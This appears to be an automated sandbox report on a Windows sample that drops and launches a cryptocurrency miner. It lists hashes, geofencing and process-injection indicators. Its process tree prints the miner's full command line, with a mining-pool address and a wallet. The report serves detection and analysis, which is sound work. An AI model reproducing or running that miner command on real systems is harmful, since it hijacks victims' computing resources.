73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 14:22

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
2808	b2e.exe
2624	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2624	cpuminer-sse2.exe
2624	cpuminer-sse2.exe
2624	cpuminer-sse2.exe
2624	cpuminer-sse2.exe
2624	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3400-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 2808	3400	batexe.exe	88
PID 3400 wrote to memory of 2808	3400	batexe.exe	88
PID 3400 wrote to memory of 2808	3400	batexe.exe	88
PID 2808 wrote to memory of 5036	2808	b2e.exe	89
PID 2808 wrote to memory of 5036	2808	b2e.exe	89
PID 2808 wrote to memory of 5036	2808	b2e.exe	89
PID 5036 wrote to memory of 2624	5036	cmd.exe	92
PID 5036 wrote to memory of 2624	5036	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5DB0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

Filesize
17.4MB

MD5
3d0111124c50a6c9c5bfe3e64bca0a0d

SHA1
6e1c794b3679d42b4d778802b37f6ce1761d2e82

SHA256
1923937e3153960a0e408f1d8adc7e578bc41345d3b2e435b3139b91f22ba1f5

SHA512
73cc473a341d52cfafe02f58803c8c0798d669bece3a471d79c2b423cb1c560a4638e0d222c94caedef23907421b4c4dc4248442d6b0c4c00aec14ea8b8ad512

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

Filesize
4.5MB

MD5
277526cbcfa71c79c7206b15f4150d42

SHA1
0b427b8b7a84c060fdb2d0fd1d1783f49eabd9ab

SHA256
8878e391361e408c314a00761345fa896d7c214cf77f67f72fffb6d4f921d778

SHA512
05354ebdb24c5f0c8784b10747028826be28f1ac0a32e5b47c5c47db41468bdb08a6607db7e0509b4ce8761d9917126ebe8d460b9f86cddfa7bd61fea06a1a01

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

Filesize
4.5MB

MD5
615b936eeb3e303ea3eaef8f20296111

SHA1
3329c1d65e8602807acf1d3e6ad5a6ffed386566

SHA256
6cb35d8d3c2360a5e4e90d01c0e26aff4a039ef809afbb0f3d407821d8fdfbc6

SHA512
002748ec3a9784d602b9236a0fbad5da88ddb77c033456e00a097b290df5d42a8e6b64ccd8db9ee9a6128160f6520df9bf3f50478818c3ad500dd46407b553d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DB0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
329KB

MD5
eb1cee601141213b042fdd5f2275de07

SHA1
c4b10b7f4f72e61bbd13aed779fd5b1dcf40a8e5

SHA256
6b01d0910a4e09046c9ca655889b3e1188a4b60d0377e30818ad84ac3165ba34

SHA512
a7ba1069889f7e0cdf8c3eb45eba03dd8a0f4ea3382a6604a30a92ae2b3fe332588e4bf500d00e4d507cde44b7d16b3e02cab95ec0ab7759db00256d506daaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
192KB

MD5
8c933a591c8d0c1fec1da393587d09c9

SHA1
65f4672c0e0a6a20436fbaba57dac8c1a5fc5e51

SHA256
c22ca427c0e65a0bb3e011afeba5244dd5a6e9c0327cfc7d15c4875083206b10

SHA512
96b84267fd9b7c5587c74e30d5f647acabbf6b09feac19784de4e046619fcae78f2e6aa98eb7f06fe13197bfd9207b9044b09d5248480421ceb23cb01d511881

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
122KB

MD5
a6dfd638fc2414e13bc49bafc8031b22

SHA1
c145d42e54a3cde222ce71973124f87da092669c

SHA256
56b4a5dda028c997bfdf464735d9e1b75621031c0b7153014077629af2004bfb

SHA512
eefaad58190caf36d4c7a32635986b72951c760d9af0780168a700b76ffad27e399e05f851089b0604c66f5a9a168822db30bbfd9ebf19ea9cbf0cfc54aaac19

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
150KB

MD5
86e475fd160aeb7902dd59adb0bfb408

SHA1
ca294528f4e92c64f42cee1fd0903cd7e0e50268

SHA256
5a4a9fb7fe84d7bdf8dcd71305cec678998f145c77e160009a670ddc050c5d6a

SHA512
c465582295321802744c236ddb37a387044866f999af3c4e02edd90763e1b3ff3d84727df25c6905fe8220cf049a852bd9b8bd0cbf5bcef7adf58b1999654782

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
59KB

MD5
36297ac53c43a288ed322fc0fef00285

SHA1
3f3ac35e0b67c62952b7c9a7e7ed8c46fc948b3e

SHA256
3fb37d542eaf9aa5dc1fbe3ab6a592185da47ddab25ba9438f5efe73b6e6a479

SHA512
41c745127786239ee1cfb61a61415951148fa30ac98fd454322632a10861a11ecd70d4fcd811d93b3d65d3e7a743e6def2550c925d2719b39d1d0ca1b5c71488

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
73KB

MD5
40e68ddd49b41e6a08c6bc57c88d1131

SHA1
796a1b75d247ec08d8cc24130ab8214dfdb6c93e

SHA256
2106bb64e5194e91e234f7b12bb7d09e965dd3b8bdb7bb0da7b936176574231f

SHA512
03f8b7368ddbbfec9e657fa6a9f1e3cdc4582642bc88ad89c2865673b8dfab18962bd49d9a24f8414f9978822f28e64052fd841103195cf15584c2b399c73644

Download Submit
memory/2624-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2624-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2624-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-46-0x0000000054F10000-0x0000000054FA8000-memory.dmp

Filesize
608KB

Download
memory/2624-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/2624-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2624-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2808-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3400-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download